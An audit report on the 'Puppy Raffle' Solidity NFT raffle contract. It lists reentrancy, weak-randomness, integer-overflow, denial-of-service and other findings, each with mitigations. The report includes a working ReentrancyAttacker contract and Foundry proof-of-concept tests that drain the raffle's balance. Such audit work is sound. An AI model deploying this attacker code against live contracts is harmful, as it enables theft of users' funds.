Puppy Raffle Audit Report

Version 1.0

LOGIC

January 8, 2025

Protocol Audit Report

LOGIC

January 7, 2025

Prepared by: LOGIC Lead Security Researcher: - LOGIC

Table of Contents

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
    1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.

2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The LOGIC team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: 2a47715b30cf11ca82db148704e67652ad679cd8

Scope

```
./src/
#-- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

This protocol was audited in 3 days alongside no other auditor but LOGIC and was audited using Manual review and Static Analysis(Slither, Aderyn). On an informal note, I enjoyed auditing this.

Issues found

Severity	Number of issues found
High	3
Medium	3
Low	1
Info	7
Gas	2
Total	16

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain raffle funds.

Description: The `PuppyRaffle::refund` function does not follow CEI (Checks, Effects, Interactions) and as a result, enables participants to drain the contract balance.

In the `PuppyRaffle::refund` function, we first make an external call to `msg.sender` address and only after making that external call do we update the `PuppyRaffle::players` array.

```
1           function refund(uint256 playerIndex) public {
2           address playerAddress = players[playerIndex];
3           require(playerAddress == msg.sender, "PuppyRaffle: Only the
                player can refund");
4           require(playerAddress != address(0), "PuppyRaffle: Player
                already refunded, or is not active");
5
6   @>      payable(msg.sender).sendValue(entranceFee);
7   @>      players[playerIndex] = address(0);
8
9           emit RaffleRefunded(playerAddress);
```

A player who has entered the raffle could have a `fallback/recieve` function that calls the `PuppyRaffle::refund` function again and claim another refund. They could continue the cycle until the contract balance is drained.

Impact: All fees paid by the raffle entrants could be stolen by the malicious participant.

Proof of Concept: 1. User enters the raffle. 2. Attacker sets up a contract with a `fallback` function that calls `PuppyRaffle::refund` 3. Attacker enters the raffle. 4. Attacker calls `PuppyRaffle::refund` from their attack contract, draining the contract balance.

Code

Paste the following test into `PuppyRaffleTest.t.sol`

```
1           function testReentrancyRefund() public {
2           /// Arrange
3           // Add players
4           address[] memory players = new address[](4);
5           players[0] = playerOne;
6           players[1] = playerTwo;
7           players[2] = playerThree;
8           players[3] = playerFour;
9           puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
10
11          // Setup attacker and contract
12          ReentrancyAttacker attackerContract = new ReentrancyAttacker(
                puppyRaffle);
13          address attackUser = makeAddr("attackUser");
14          vm.deal(attackUser, entranceFee);
15          vm.prank(attackUser);
16
17          // Balances before attack
18          uint256 startingPuppyRaffleBalance = address(puppyRaffle).
                balance;
19          uint256 startingAttackerBalance = address(attackerContract).
                balance;
20
21          /// Act
```

```
        // Attack
        attackerContract.attack{value: entranceFee}();

        // Balances after attack
        uint256 endingPuppyRaffleBalance = address(puppyRaffle).balance;
        uint256 endingAttackerBalance = address(attackerContract).balance;

        /// Assert
        playersNumb = puppyRaffle.getPlayersLength();
        assertEq(address(puppyRaffle).balance, 0);
        assertEq(address(attackerContract).balance, entranceFee * playersNumb);

        console.log("puppyRaffle starting balance: ", startingPuppyRaffleBalance);
        console.log("attackerContract starting balance: ", startingAttackerBalance);

        console.log("puppyRaffle ending balance: ", endingPuppyRaffleBalance);
        console.log("attackerContract ending balance: ", endingAttackerBalance);
    }
```

And this contract as well:

```

    contract ReentrancyAttacker{
    PuppyRaffle puppyRaffle;
    uint256 public attackerIndex;
    uint256 public entranceFee;

    constructor (PuppyRaffle _puppyRaffle) {
        puppyRaffle = _puppyRaffle;
        entranceFee = 1e18;
    }

    function attack() public payable {
        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(players);

        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this));
        puppyRaffle.refund(attackerIndex);
    }

    function _stealMoney() internal {
        if (address(puppyRaffle).balance >= entranceFee){
```

```
23                puppyRaffle.refund(attackerIndex);
24            }
25        }
26        fallback() external payable {
27            _stealMoney();
28        }
29
30        receive() external payable {
31            _stealMoney();
32        }
33    }
```

Recommended Mitigation: To prevent this, we should have the `Puppyraffle::refund` function update the `players` before making the external call. Additionally, we should move the event emission up as well.

```
1
2           function refund(uint256 playerIndex) public {
3           // written-skipped MEV
4           address playerAddress = players[playerIndex];
5           require(playerAddress == msg.sender, "PuppyRaffle: Only the
                player can refund");
6           require(playerAddress != address(0), "PuppyRaffle: Player
                already refunded, or is not active");
7   +       players[playerIndex] = address(0);
8   +       emit RaffleRefunded(playerAddress);
9           payable(msg.sender).sendValue(entranceFee);
10  -       players[playerIndex] = address(0);
11  -       emit RaffleRefunded(playerAddress);
12      }
```

[H-2] Weak randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner and influence or predict the winning puppy.

Description: Hashing `msg.sender`, `block.timestamp` and `block.difficulty` together creates a predictable final number. A predictable number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Note: This additionally means users could front-run this function and call `refund` if they are not the winner

Impact: Anyone can influence the winner of the raffle, winning the money and selecting the `rarest` puppy. Making the entire raffle worthless if it becomes a gas war as to who wins the raffles.

Proof of Concept:

1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when/how to participate. See the solidity blog on prevrandao `block.difficulty` was recently replaced with `prevrandao`.
2. User can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner!
3. Users can revert their `selectWinner` transaction if they don't like the winner or resulting puppy.

Using on-chain values as a randomness seed is a well-documented attack vector in the blockchain space.

Recommended Mitigation: Consider using a cryptographically provable random number generator such as Chainlink VRF.

[H-3] Interger overflow of `PuppyRaffle::totalFees` loses fees.

Description: In solidity versions prior to `0.8.0`, Intergers were subject to interger overflows.

```
uint64 myVar = type(uint64).max
// 18446744073709551615
myVar = myVar + 1
// myVar will be 0
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` accumulatevfor the `feeAddress` to collect later in `PuppyRafflewithdrawFees`. However if the `totalFees`overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept: 1. We conclude a raffle of 4 players. 2. We then have 89 players enter the new raffle, then conclude it. 3. `totalFees` will be:

```
totalFees = totalFees + uint64(fee);
// aka
totalFees = 800000000000000000 + 17800000000000000000
// And this will overflow!
totalFees = 153255926290448384
```

4. You will not be able to withdraw, due to the line in `PuppyRaffle::withdrawFees`:

```
require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

Although you could use `selfdestruct` to send ETH to this contract for the values to match and withdraw the fees, this is clearly not the intended design of the protocol. At some point, there will be

too much `balance` in the contract that the above `require` will be impossible to hit.

Code

```
        function test_Overflow() public {
        // Arrange
        // We conclude the raffle
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        puppyRaffle.selectWinner();

        uint64 startingTotalFees = puppyRaffle.totalFees();

        // We add 89 players to the raffle, this way, totalFees will
            overflow
        uint256 playersNum = 89;
        address[] memory players2 = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players2[i] = address(uint160(i + players.length));
        }

        // Act / Assert
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
            players2);
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 endingTotalFees = puppyRaffle.totalFees();

        // Shockingly...
        assert(endingTotalFees < startingTotalFees);

        // See for yourself...
        console.log("Ending Total Fees: ", endingTotalFees);
    }
```

Recommended Mitigation: There are a few possible mitigations.

1. Use a newer version of solidity, and a `uint256` instead of `uint64` for `PuppyRaffle::totalFees`.
2. You could also use the `SafeMath` Openzeppelin library for `0.7.6` of solidity, however you would still have a hard time with the `uint64` type if too many fees are collected.

3. Remove the balance check from `PuppyRaffle::withdrawFees`:

```
- require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

There are more attack vectors with that final require, so we reccomend removing it regardless.

Medium

[M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential Denial of Service (DoS) attack, incrementing gas costs for future entrants.

Description: The `PuppyRaffle::enterRaffle` function loops through the `players` array to check for duplicates. However, the longer the `PuppyRaffle::players` array is, the more checks a new player woill have to make. This means that gas costs for players who enter right when the raffle starts will be comically lower than those who enter later. Every additional address in the `players` array is an additional check the loop will have to make.

```
@>      for (uint256 i = 0; i < players.length - 1; i++) {
            for (uint256 j = i + 1; j < players.length; j++) {
                require(players[i] != players[j], "PuppyRaffle:
                    Duplicate player");
            }
        }
```

Impact: The gas costs for raffle entrants will greatly increase as more players enter the raffle. Discouraging later users from entering, and causing a rush at the start of the raffle to be one of the first entrants in the queue.

An attacker might make the `PuppyRaffle::players` array so big, that no one else enters, guaranteeing themselves the win.

Proof of Concept: If we have 2 sets of 100 players enter, the gas costs will be as such: - 1st 100 players: ~6252048gas - 2nd 100 players: ~18068131gas

This is more than 3x expensive for the 2nd 100 players.

PoC

Paste the following test into `PuppyRaffleTest.t.sol`

```
        function testPossessesDenialOfServiceExploit() public {
        vm.txGasPrice(1);
        // First 100 players
        uint256 playersNum = 100;
        address[] memory players = new address[](playersNum);
```

```
6           for (uint256 i = 0; i < playersNum ; i++) {
7               players[i] = address(i);
8           }
9           // See how much gas it costs.
10          uint256 gasStartFirst = gasleft();
11          puppyRaffle.enterRaffle{value: entranceFee * players.length}(
                players);
12          uint256 gasEndFirst = gasleft();
13
14          uint256 gasUsedFirst = (gasStartFirst - gasEndFirst) * tx.
                gasprice;
15
16          // Second 100 players
17          address[] memory playersTwo = new address[](playersNum);
18          for (uint256 i = 0; i < playersNum ; i++) {
19              playersTwo[i] = address(i + playersNum);
20          }
21          // See how much it costs
22          uint256 gasStartSecond = gasleft();
23          puppyRaffle.enterRaffle{value: entranceFee * playersTwo.length
                }(playersTwo);
24          uint256 gasEndSecond = gasleft();
25
26          uint256 gasUsedSecond = (gasStartSecond - gasEndSecond) * tx.
                gasprice;
27
28          assert (gasUsedFirst < gasUsedSecond);
29
30          console.log("Gas cost of the first 100 players: ", gasUsedFirst
                );
31          console.log("Gas cost of the second 100 players: ",
                gasUsedSecond);
32      }
```

Recommended Mitigation: There are a few recommended mitigations.

1. Consider allowing duplicates. Users can make new wallet addresses anyways, so a duplicate check doesn't prevent the same person from entering multiple times, only the same wallet address.
2. Consider using a mapping to check duplicates. This would allow you to check for duplicates in constant time, rather than linear time. You could have each raffle have a `uint256` id, and the mapping would be a player address mapped to the raffle Id.

```
1  +    mapping(address => uint256) public addressToRaffleId;
2  +    uint256 public raffleId = 1;
3       .
4       .
5       .
6       function enterRaffle(address[] memory newPlayers) public payable {
```

```
7           require(msg.value == entranceFee * newPlayers.length, "
               PuppyRaffle: Must send enough to enter raffle");
8           for (uint256 i = 0; i < newPlayers.length; i++) {
9               players.push(newPlayers[i]);
10  +            addressToRaffleId[newPlayers[i]] = raffleId;
11          }
12
13  -        // Check for duplicates
14  +       // Check for duplicates only from the new players
15  +       for (uint256 i = 0; i < newPlayers.length; i++) {
16  +          require(addressToRaffleId[newPlayers[i]] != raffleId, "
    PuppyRaffle: Duplicate player");
17  +       }
18  -        for (uint256 i = 0; i < players.length; i++) {
19  -            for (uint256 j = i + 1; j < players.length; j++) {
20  -                require(players[i] != players[j], "PuppyRaffle:
    Duplicate player");
21  -            }
22  -        }
23          emit RaffleEnter(newPlayers);
24      }
25  .
26  .
27  .
28      function selectWinner() external {
29  +       raffleId = raffleId + 1;
30          require(block.timestamp >= raffleStartTime + raffleDuration, "
               PuppyRaffle: Raffle not over");
```

Alternatively, you could use OpenZeppelin's `EnumerableSet` library.

[M-2] Unsafe cast of `PuppyRaffle::fee` loses fees.

Description: In `PuppyRaffle::selectWinner` their is a type cast of a `uint256` to a `uint64`. This is an unsafe cast, and if the `uint256` is larger than `type(uint64).max`, the value will be truncated.

```
1       function selectWinner() external {
2           require(block.timestamp >= raffleStartTime + raffleDuration, "
               PuppyRaffle: Raffle not over");
3           require(players.length > 0, "PuppyRaffle: No players in raffle"
               );
4
5           uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.
               sender, block.timestamp, block.difficulty))) % players.
               length;
6           address winner = players[winnerIndex];
7           uint256 fee = totalFees / 10;
8           uint256 winnings = address(this).balance - fee;
```

```
9  @>      totalFees = totalFees + uint64(fee);
10         players = new address[](0);
11         emit RaffleWinner(winner, winnings);
12     }
```

The max value of a `uint64` is `18446744073709551615`. In terms of ETH, this is only ~18 ETH. Meaning, if more than 18ETH of fees are collected, the `fee` casting will truncate the value.

Impact: This means the `feeAddress` will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. A raffle proceeds with a little more than 18 ETH worth of fees collected
2. The line that casts the `fee` as a `uint64` hits
3. `totalFees` is incorrectly updated with a lower amount

You can replicate this in foundry's chisel by running the following:

```
1  uint256 max = type(uint64).max
2  uint256 fee = max + 1
3  uint64(fee)
4  // prints 0
```

Recommended Mitigation: Set `PuppyRaffle::totalFees` to a `uint256` instead of a `uint64`, and remove the casting. Their is a comment which says:

```
1  // We do some storage packing to save gas
```

But the potential gas saved isn't worth it if we have to recast and this bug exists.

```
1  -   uint64 public totalFees = 0;
2  +   uint256 public totalFees = 0;
3  .
4  .
5  .
6      function selectWinner() external {
7          require(block.timestamp >= raffleStartTime + raffleDuration, "
               PuppyRaffle: Raffle not over");
8          require(players.length >= 4, "PuppyRaffle: Need at least 4
               players");
9          uint256 winnerIndex =
10             uint256(keccak256(abi.encodePacked(msg.sender, block.
                   timestamp, block.difficulty))) % players.length;
11         address winner = players[winnerIndex];
12         uint256 totalAmountCollected = players.length * entranceFee;
13         uint256 prizePool = (totalAmountCollected * 80) / 100;
14         uint256 fee = (totalAmountCollected * 20) / 100;
15 -       totalFees = totalFees + uint64(fee);
```

```
16 +         totalFees = totalFees + fee;
```

[M-3] Smart contract wallets raffle winners without a `receive` or `fallback` function will block the start of a new contest.

Description: The `PuppyRaffle::selectWinner` function is responsible for resseting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery woukd not be able to restart.

Users could easily call the `selectWinner` function again and non-wallet entrants could enter, but it could cost a lot due to the duplicate check and a lottery reset could get very challenging.

Impact: The `PuppyRaffle::selectWinner` could revert many times, making a lottery reset difficult.

Also, true winners would not get paid and someone else could take their money!

Proof of Concept:

1. 10 smart contracts wallets enter the raffle without a `receive` or `fallback` function
2. The lottery ends.
3. The `selectWinner` function wouldn't work, even though the raffle is over!

Recommended Mitigation: There are a few options to mitigate this issue:

1. Do not allow smart contract wallet entrants (not reccomended)
2. Create a mappping of address -> payout amounts so winners can pull their funds out themselves with a new `claimPrize` function, putting the oweness on the winner to claim their prize (Reccomended)

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, causing a player at index 0 to inncorrectly think they have not entered the raffle.

Description: If a player is in the `PuppyRaffle::players` at index 0, it will return 0, but according to the natspec, it will also return 0 if the player is not in the array.

```
1         function getActivePlayerIndex(address player) external view
             returns (uint256) {
2         for (uint256 i = 0; i < players.length; i++) {
```

```
3               if (players[i] == player) {
4                   return i;
5               }
6           }
7           return 0;
8       }
```

Impact: A player at index 0 to inncorrectly think they have not entered the raffle, and attemp to enter the raffle again, wasting gas.

Proof of Concept:

1. User enters the raffle.
2. `PuppyRaffle::getActivePlayerIndex` returns 0.
3. User thinks they have not entered correctly due to the function documentation

Recommended Mitigation: The easiest reccomendation would be to revert the transaction if the player is not in the array instead of returning 0.

You could also reserve the 0th position for any competition, but a better solution would be to return an `int256` where the function returns -1 is the player is not active.

Gas

[G-1] Unchanged state variables should be decleared a constant or immutable.

Reading from storage is much more gas expensive than reading from constant or immutable variables.

Instances: - `PuppyRaffle::raffleDuration` should be `immutable` - `PuppyRaffle::commonImageUri` should be `constant` - `PuppyRaffle::rareImageUri` should be `constant` - `PuppyRaffle::legendaryImageUri` should be `constant`

[G-2] Storage variables in a loop should be cached.

Every time you call `players.length`, you read froom storage, as opposed to memory which is more gas efficient.

```
1 +       uint256 playersLength = players.length
2 -       for (uint256 i = 0; i < players.length - 1; i++) {
3 +       for (uint256 i = 0; i < playersLength - 1; i++) {
4 -           for (uint256 j = i + 1; j < players.length; j++) {
5 +           for (uint256 j = i + 1; j < playersLength; j++) {
```

```
6                 require(players[i] != players[j], "PuppyRaffle:
                      Duplicate player");
7             }
8         }
```

Informational/Non-Crits

[I-1]: Solidity pragma should be specific, not wide.

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

1 Found Instances

- Found in src/PuppyRaffle.sol Line: 2

```
1 pragma solidity ^0.7.6;
```

[I-2] Using outdated version of Solidity is not reccomended.

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation Deploy with a recent version of Solidity (at least `0.8.0`) with no known severe issues.

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Please see Slither documentation.

[I-3]: Missing checks for `address(0)` when assigning values to address state variables.

Check for `address(0)` when assigning values to address state variables.

2 Found Instances

- Found in src/PuppyRaffle.sol Line: 68

```
1         feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 197

```
1         feeAddress = newFeeAddress;
```

[I-4]: `PuppyRaffle::selectWinner` does not follow CEI, which is not a best practice.

It's best to keep code clean and follow CEI

```
- (bool success,) = winner.call{value: prizePool}("");
- require(success, "PuppyRaffle: Failed to send prize pool to winner");
_safeMint(winner, tokenId);
+ (bool success,) = winner.call{value: prizePool}("");
+ require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

[I-5] Use of `magic` numbers is discouraged.

It can be confusing to see number literals in a codebase, and it's much more readable if the numbers are given in a name.

Examples:

```
uint256 prizePool = (totalAmountCollected * 80) / 100;
uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead, you could use:

```
uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
uint256 public constant FEE_PERCENTAGE = 20;
uint256 public constant POOL_PRECISION = 100;
```

[I-6] State changes are missing events.

[I-7] `PuppyRaffle::_isActivePlayer` Is never used and should be removed.